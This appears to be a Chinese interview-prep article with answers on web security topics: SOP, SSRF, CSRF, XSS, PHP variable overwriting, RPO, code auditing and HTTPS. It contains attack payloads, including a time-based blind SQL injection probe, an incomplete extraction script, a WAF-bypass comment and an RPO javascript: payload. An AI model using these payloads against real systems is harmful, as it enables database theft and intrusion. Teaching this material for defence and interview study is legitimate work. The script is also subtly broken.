2025年渗透测试面试题总结-2025年HW(护网面试) 70(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 2025年HW(护网面试) 70

一、自我介绍

二、同源策略 & 三大漏洞对比解析

1. 同源策略(SOP)核心规则

2. 三大漏洞攻防对比

三、反射型XSS vs DOM型XSS

四、变量覆盖漏洞高危函数(PHP示例)

五、RPO(Relative Path Overwrite)漏洞精解

攻击原理

实战场景

六、CTF经典题型解析:Web时间盲注

七、代码审计核心方法论

八、CSRF防御三重机制

九、数据分析实战经验

十、HTTPS工作原理详解

 2025年HW(护网面试) 70

1、自我介绍
2、讲一讲同源策略/SSRF/CSRF/XSS
3、反射型XSS和DOM型XSS的区别
4、变量覆盖漏洞涉及的主要函数
5、对RPO漏洞的理解
6、讲一道印象深刻的CTF题
7、讲一讲代码[审计]()的思路
8、讲一讲csrf如何防御
9、有没有做过[数据分析]()
10、https的工作原理

一、自我介绍

网络安全高级工程师 | 5年攻防实战经验

  • 核心领域:Web漏洞挖掘(主导审计50+系统)、SDL建设、红蓝对抗
  • 技术标签:PHP/JAVA代码审计、自动化渗透工具开发、CVE-2024-*** 发现者
  • 当前关注:AI赋能漏洞挖掘、云原生安全加固

二、同源策略 & 三大漏洞对比解析

1. 同源策略(SOP)核心规则
markdown| 对比项 | 同源判定条件 | 受限操作 | |--------------|----------------------------------|--------------------------| | 协议/域名/端口 | 三者完全一致 | Cookie/Storage访问 | | 跨域限制 | 阻止读取跨域资源 | AJAX请求、DOM操作 | | 例外机制 | CORS/JSONP/postMessage | 需显式授权 |
2. 三大漏洞攻防对比
漏洞类型攻击原理防御方案典型案例
SSRF伪造服务端请求内部系统(如file:///etc/passwd白名单校验、禁用危险协议、网络隔离云服务器元数据API泄露
CSRF诱导用户点击恶意链接触发身份操作Anti-CSRF Token、SameSite=Strict银行转账篡改请求
XSS注入恶意脚本到页面执行CSP策略、输入输出编码、DOM Purify存储型XSS窃取用户Cookie

💡 关联风险:XSS可绕过SOP获取页面数据,SSRF可突破网络边界访问内网。


三、反射型XSS vs DOM型XSS

mermaidgraph LR A[触发方式] --> B[反射型XSS:恶意参数通过URL传递,服务端返回含攻击代码的页面] A --> C[DOM型XSS:前端JS直接操作DOM树注入代码,不经过服务端] D[检测重点] --> E[反射型:URL参数、HTTP头输出点] D --> F[DOM型:location.hash/document.write 等函数] G[防御差异] --> H[反射型:服务端输出编码] G --> I[DOM型:前端安全API(如textContent替代innerHTML)]

四、变量覆盖漏洞高危函数(PHP示例)

四大危险函数及场景

  1. extract()
    phpextract($_GET); // 直接覆盖已有变量$auth if ($auth) { admin(); } 
  2. parse_str()
    phpparse_str($input); // 输入"auth=1"覆盖变量 
  3. $$动态变量php
  4. foreach($_GET as $key => $val) { $$key = $val; // 输入?userid=admin覆盖权限 }
  5. mb_parse_str()
    phpmb_parse_str($_POST['data']); // 多字节版本同样危险 

🔥 加固方案:禁用register_globals、严格声明变量作用域、使用$_REQUEST白名单过滤。


五、RPO(Relative Path Overwrite)漏洞精解

攻击原理
markdown1. 利用浏览器解析CSS相对路径的差异: - 请求 `/page.php/ 恶意路径?param=../../evil.css` 2. 服务器返回 `/page.php` 内容但URL路径被篡改 3. 浏览器按篡改后的路径加载CSS,将页面内容当作CSS解析 4. 恶意CSS中注入JS代码:`[color=red]{ background: url('javascript:alert(1)') }` 
实战场景
  • 篡改静态资源路径实现XSS
  • 窃取页面敏感文本(CSS选择器匹配敏感元素)
    修复方案:使用绝对路径引用资源、设置X-Content-Type-Options: nosniff

六、CTF经典题型解析:Web时间盲注

赛题:D^3CTF 2024 - SQL Time Maze
解题步骤

  1. 探测注入点
    sqlid=1' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0)-- 
  2. 二分法自动化脚本
    pythonimport requests for i in range(1,50): low, high = 32, 128 while low <= high: mid = (low+high)//2 payload = f"IF(ASCII(SUBSTR((SELECT flag FROM secret LIMIT 1),{i},1))>{mid}, SLEEP(2),0)" start = time.time() requests.get(f"/query?id=1' AND {payload}-- ") if time.time()-start > 2: low = mid+1 else: high = mid-1 flag += chr(low)
  3. 关键技巧
    • 绕过WAF:/*!50000SLEEP(2)*/
    • 加速:并发请求+位运算判断

七、代码审计核心方法论

五步深度审计流程

  1. 入口定位
    • 路由解析(如Spring MVC的@RequestMapping
    • 配置文件(web.xml/config.php
  2. 危险函数追踪
    markdown| 漏洞类型 | 关键函数/API | |------------|----------------------------------| | RCE | eval()/Runtime.exec() | | 文件操作 | FileInputStream()/copy() | | 反序列化 | readObject()/unserialize() |
  3. 数据流分析
    • 污点传播:用户输入 → 过滤函数 → 危险函数
  4. 逆向回溯
    • sink点(如SQL执行函数)回溯至source(如$_GET
  5. 工具链整合
    • 静态:Semgrep(自定义规则)、Fortify
    • 动态:Xdebug + 参数篡改测试

八、CSRF防御三重机制

防御层技术方案适用场景
令牌验证服务端生成随机Token绑定Session关键操作(支付/改密)
同源检测校验Origin/Referer简单请求快速拦截
浏览器机制Cookie设置SameSite=Strict现代浏览器自动防御

⚠️ Token设计要点:一次性使用、绑定用户会话、加密存储。


九、数据分析实战经验

安全大数据分析平台建设

  • 数据源
    • 30TB/日日志(WAF/NIDS/业务系统)
    • 威胁情报(微步/ALPHA)
  • 技术栈
    mermaigraph LR A[Flink实时流] --> B[攻击行为聚类] C[ElasticSearch] --> D[日志检索] E[Spark ML] --> F[异常流量检测]
  • 产出成果
    • APT攻击溯源:挖矿木马传播路径还原
    • 0day预警:异常SQL请求模式捕获Log4j2漏洞利用

十、HTTPS工作原理详解

双向安全通信流程

mermaidsequenceDiagram Client->>Server: ClientHello (TLS版本+加密套件列表) Server->>Client: ServerHello (选定套件) + 证书 Client->>Client: 验证证书链有效性 Client->>Server: 生成Pre-master密钥(用证书公钥加密) Server->>Server: 私钥解密获得Pre-master Note over Client,Server: 双方基于Pre-master生成会话密钥 Client->>Server: 加密传输应用数据(AES-GCM)

关键安全机制

  1. 证书信任链:CA机构根证书 → 中间证书 → 域名证书
  2. 密钥交换:ECDHE算法(前向保密)
  3. 防篡改:HMAC签名校验
  4. 抗重放:随机数+时间戳

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/916398.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/916398.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

加权卡尔曼滤波

加权卡尔曼滤波融合&#xff0c;它通过给不同传感器或估计结果分配不同的权重&#xff0c;来提高状态估计的精度和可靠性。一、卡尔曼滤波1.状态方程2.观测方程其中&#xff1a;基本方程①状态一步预测②状态估计③滤波增益④一步预测均方差⑤估计均方误差二、加权卡尔曼滤波对…

【世纪龙科技】新能源汽车维护与故障诊断-汽车专业数字课程资源

在职业院校汽车专业教学中&#xff0c;理论与实践脱节、设备投入不足、学生实操能力薄弱等问题长期存在。如何让学生在有限的教学资源下掌握新能源汽车核心技术&#xff1f;如何让教师更高效地开展理实一体化教学&#xff1f;《新能源汽车维护与故障诊断》数字课程资源&#xf…

Windows Server系统安装JDK,一直卡在“应用程序正在为首次使用作准备,请稍候”

一、背景 第二次遇到这个问题了&#xff0c;但是居然没想起来之前遇到过&#xff0c;又问元宝给的答案不对&#xff0c;还没想起来之前收藏过解决方案&#xff0c;这里特别记录一下。 二、问题描述 操作系统是Windows Sever2019&#xff0c;安装JDK时卡住一直过不去&#xff0…

机器学习入门:线性回归详解与实战

线性回归&#xff08;Linear Regression&#xff09;是机器学习中最基础也最常用的算法之一&#xff0c;无论是初学者入门还是实际业务场景&#xff0c;都能看到它的身影。本文将从概念、原理到代码实现&#xff0c;带你全方位了解线性回归。一、什么是线性回归&#xff1f;简单…

第3篇:软链接 mklink /D 教程:轻量缓存目录迁移利器

我们通过诸多实践后将三种链接方案分别独立成篇&#xff0c;可以让不同需求场景的读者精准获取所需内容。下面是回顾我们文章系列策划的三篇博客标题、定位和详细大纲&#xff0c;每篇都围绕一个核心方案展开&#xff0c;具备教学性、实用性和实操性&#xff1a; &#x1f4d8;…

力扣 hot100 Day52

124. 二叉树中的最大路径和 二叉树中的 路径 被定义为一条节点序列&#xff0c;序列中每对相邻节点之间都存在一条边。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给你一个二叉…

数据存储:OLAP vs OLTP

下面系统性地进行介绍,包括OLAP数据库的基本概念、特点、常见产品,以及它们在实际工作中的典型应用场景,最后对比与关系型数据库(OLTP)的区别。 一、OLAP数据库是什么? OLAP(Online Analytical Processing,联机分析处理)数据库,主要用于大数据量、多维度、复杂查询与…

云原生网络策略自动化在微服务架构 API 安全防护与流量管理中的应用

云原生网络策略自动化在微服务架构中的核心价值随着微服务架构在金融、电商等领域的广泛应用&#xff0c;API安全防护与流量管理已成为企业数字化转型的关键挑战。Gartner 2023年报告显示&#xff0c;83%的分布式系统因网络策略缺失导致安全事件&#xff0c;而传统静态策略配置…

无需云服务器的内网穿透方案 -- cloudflare tunnel

内网穿透 原文地址 https://docs.caolib.dpdns.org/network/cloudflare tunnel.html Cloudflare Tunnel 内网穿透工具 1.简介 1.1 介绍 官方介绍&#xff1a;Cloudflare Tunnel 为您提供了一种安全的方式&#xff0c;无需公开路由的 IP 地址即可将资源连接到 Cloudflare。使用…

目前市面上arm64-v8a、armeabi-v7a设备的市占率有多少?为什么x86架构的手机越来越少?

deepseek回答&#xff1a; 当前全球范围内&#xff0c;arm64-v8a 架构在安卓设备中的市占率已超过 64%&#xff0c;远超其他架构版本。具体分布如下&#xff1a; &#x1f4ca; 各架构市场份额对比 架构类型市占率定位与趋势arm64-v8a≥64%主流 64 位架构&#xff0c;性能最…

Java中配置两个r2db连接不同的数据库

Java中配置两个r2db连接不同的数据库在实际项目中不可避免的存在使用两个数据库的情况&#xff0c;下面将系统地讲解相关配置方案&#xff0c;包含配置文件、数据库配置类、注解原理、常见错误排查等维度&#x1f9e9; 一、配置文件说明&#xff08;application.yml&#xff09…

Swagger 配置及使用指南

Spring Boot 项目集成 Swagger 配置及使用指南 一、Swagger 简介 Swagger 是一个用于设计、构建、文档化和使用 RESTful API 的框架。通过集成 Swagger&#xff0c;开发者可以&#xff1a; 自动生成实时 API 文档直接在浏览器中测试 API 接口减少手动编写文档的工作量支持团队协…

什么是缓存雪崩?缓存击穿?缓存穿透?分别如何解决?什么是缓存预热?

缓存雪崩&#xff1a;在一个时间段内&#xff0c;有大量的key过期&#xff0c;或者Redis服务宕机&#xff0c;导致大量的请求到达数据库,带来巨大压力- 给key设置不同的TTL、利用Redis集群提高服务的高可用性、添加多级缓存、添加降级流策略缓存击穿&#xff1a;给某一个key设置…

图像预处理 二

目录 1. 插值方法 1.1 最近邻插值 1.2 双线性插值 1.3 像素区域插值 1.4 双三次插值 1.5 Lanczos插值 1.6 小结 2. 图像掩膜 2.1 制作掩膜 2.2 与运算 2.3 颜色替换 2.3.1 制作掩膜 2.3.2 颜色替换 2.4 图像掩膜代码 3. 图像添加水印 3.1 模板输入 3.2 与运算 3…

1.Java发展简史与设计哲学

目录引言一、生活里到处都是 Java1.1 Java 在生活中的小例子1.2 Java 的核心应用场景二、Java 是咋诞生的&#xff0c;又有啥核心设计思想2.1 Java 的发展历程2.2 Java 的三大设计哲学2.3 Java 哲学给行业带来的变革三、为啥大家都选 Java 呢3.1 和其他主流编程语言对比的优势3…

基于粒子群算法优化高斯过程回归(PSO-GPR)的多输出回归

基于粒子群算法优化高斯过程回归(PSO-GPR)的多输出回归 使用粒子群优化算法(PSO)优化高斯过程回归(GPR)模型,解决多输入多输出(MIMO)回归问题。该模型能够同时预测多个相关输出变量。 %% 基于粒子群算法优化高斯过程回归(PSO-GPR)的多输出回归 % 作者: MATLAB技术助手 % 日期…

学Simulink——AC-DC整流器场景:基于PWM整流器拓扑结构的建模:三相电压型PWM整流器(SR)单位功率因数控制仿真

目录 手把手教你学Simulink——AC-DC整流器场景:基于PWM整流器拓扑结构的建模:三相电压型PWM整流器(SR)单位功率因数控制仿真 一、背景介绍 二、系统结构设计 三、建模过程详解 第一步:创建新Simulink项目 第二步:添加主要模块 1. 三相交流电源 2. PWM整流器电路 …

深度解析 noisereduce:开源音频降噪库实践

项目简介 noisereduce 是一个基于 Python 的开源音频降噪库,专注于为科研、工程和日常应用提供简单高效的噪声抑制工具。该项目由 Tim Sainburg 维护,核心算法基于频谱减法(Spectral Gating),无需深度学习或复杂训练,适合快速集成到音频处理、语音识别、播客后期、科学实…

lottie 动画使用

lottie 官网&#xff1a; https://app.lottiefiles.comhttps://app.lottiefiles.com 选择动画 未下载过 已下载过 点击download 保存到自己的工作空间后&#xff0c;可获取lottie文件 使用vue 点击后获取代码 第一步&#xff0c;项目中加载模块 npm install lottiefiles/do…

Java,八股,cv,算法——双非研0四修之路day16

目录 昨日总结 今日计划 算法——两个数组的交集 算法——两数之和 缓存穿透 常见解决方案 缓存雪崩 常见解决方案 缓存击穿 常见解决方案 栈溢出 堆溢出 功能接口式参数&泛型函数 ​编辑 昨日总结 缓存问题完结&#xff08;缓存穿透、雪崩、击穿&#xff09;…